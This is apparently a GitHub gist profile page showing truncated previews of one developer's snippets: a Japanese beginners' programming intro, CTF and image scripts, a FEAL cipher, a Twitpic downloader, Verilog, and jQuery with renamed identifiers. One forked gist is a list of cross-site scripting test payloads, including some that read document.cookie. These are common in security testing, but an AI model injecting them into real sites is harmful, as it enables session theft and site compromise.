Skip to content

Instantly share code, notes, and snippets.

@hakatashi
hakatashi / beginners2015.md
Last active August 29, 2015 14:20
TSG 初心者向け分科会 イントロダクション

TSG プログラミング初心者向け分科会 イントロダクション

お掃除お疲れ様です。 今回は趣味プログラマーの@hakatashiが、プログラミング初心者向けの最初の一歩を踏み出す手伝いをさせてもらいます。

今回の目標

  • GitHubなどにリポジトリを立ててバージョン管理しながら開発を進められる状態になる
  • TSGのサーバーにSSHでアクセスして作業できる状態になる
@hakatashi
hakatashi / hidden_decode.js
Last active August 29, 2015 14:19
Teaser CONFidence CTF 2015 - A PNG Tale
var fs = require('fs');
var hidden = fs.readFileSync('hidden.dat');
var ptr = 0;
for (var ptr = 0; ptr < hidden.length; ptr += 2401) {
process.stdout.write(hidden.readUInt8(ptr).toString());
}
from PIL import Image
omote = Image.open('omote.png', 'r')
ura = Image.open('ura.png', 'r')
dest = Image.new('RGBA', omote.size)
(width, height) = omote.size
for x in range(width):
C:\Users\hakatashi>choco list -lo
7zip 9.22.01.20130618
7zip.commandline 9.20.0.20130618
7zip.install 9.22.01.20130618
AdobeAIR 15.0.0.249
adobereader 11.0.09.20140925
android-sdk 24.0.2
arduinoide 1.0.5.20140625
Atom 0.153.0
audacity 2.0.6
var Zip = require('node-7z');
var async = require('async');
var fs = require('fs');
var archive = new Zip();
// Polyfill String.prototype.endsWith
if (!String.prototype.endsWith) {
Object.defineProperty(String.prototype, 'endsWith', {
enumerable: false,
import java.util.Arrays;
import edu.rit.util.Hex;
import edu.rit.util.Packing;
public class FEALCipher implements BlockCipher {
//Set up parameters and default values
public int R = 8;
byte deltaParam = 0;
int numOfSubKeys = (this.R + 8);
short[] subKey = new short[numOfSubKeys];
@hakatashi
hakatashi / xss.md
Last active August 29, 2015 14:07 — forked from ntddk/xss.md
  • '';!--"<XSS>=&{()}``\"
  • <script>alert(XSS);</script>
  • "><script>alert(XSS);</script>
  • <ScrIpt>alert(1);</SCript>
  • <a onmouseover="alert(document.cookie)">XSS</a>
  • <a onmouseover=alert(document.cookie)>XSS</a>
  • <<script>alert("XSS");//<</script>
  • <iframe src="javascript:alert('XSS');"></iframe>
  • <iframe src=# onmouseover="alert(document.cookie)"></iframe>
  • ``
@hakatashi
hakatashi / twitpic.js
Last active August 29, 2015 14:06
Twitpic download script. Create 'twitpic' directory and make a list of ids as 'twitpics.json' like "["/6jbgg1","/5ryufc","/5hpuoq"]". Copyleft.
var cheerio = require('cheerio');
var request = require('request');
var async = require('async');
var fs = require('fs');
var querystring = require('querystring');
var url = require('url');
var pics = JSON.parse(fs.readFileSync('twitpics.json'));
var skipped = [];
module display(row, col, red, green, blue, color, up, down, left, right, vnotactive, CLK, RST);
input [9:0] row, col;
input CLK, RST, color, up, down, left, right, vnotactive;
output red, green, blue;
reg red, green, blue;
reg [23:0] count, bang;
reg [9:0] originX, originY, slideY, randX;
reg [1:0] key_state;
reg [15:0] state;
!function(ココア,チノ){"object"==typeof module&&"object"==typeof module.exports?module.exports=ココア.document?チノ(ココア,!0):function(ココア){if(!ココア.document)throw new Error("jQuery requires a window with a document");return チノ(ココア)}:チノ(ココア)}("undefined"!=typeof window?window:this,function(ココア,チノ){function リゼ(ココア){var チノ=ココア.length,リゼ=ぴょんとぴょーんぴょん.type(ココア);return"function"===リゼ||ぴょんとぴょーんぴょん.isWindow(ココア)?!1:1===ココア.nodeType&&チノ?!0:"array"===リゼ||0===チノ||"number"==typeof チノ&&チノ>0&&チノ-1 in ココア}function シャロ(ココア,チノ,リゼ){if(ぴょんとぴょーんぴょん.isFunction(チノ))return ぴょんとぴょーんぴょん.grep(ココア,function(ココア,シャロ){return!!チノ.call(ココア,シャロ,ココア)!==リゼ});if(チノ.nodeType)return ぴょんとぴょーんぴょん.grep(ココア,function(ココア){return ココア===チノ!==リゼ});if("string"==typeof チノ){if(こころぴょんぴょんと.test(チノ))return ぴょんとぴょーんぴょん.filter(チノ,ココア,リゼ);チノ=ぴょんとぴょーんぴょん.filter(チノ,ココア)}return ぴょんとぴょーんぴょん.grep(ココア,function(ココア){return ぴょんとぴょーんぴょん.inArray(ココア,チノ)>=0!==リゼ})}function ティッピー(ココア,チノ){do ココア=ココア[チノ];while(ココア&&1!==ココア.nodeType);return ココア}function ラビットハウス(ココア){var チノ=ぴょぴょんとぴょんと[ココア]={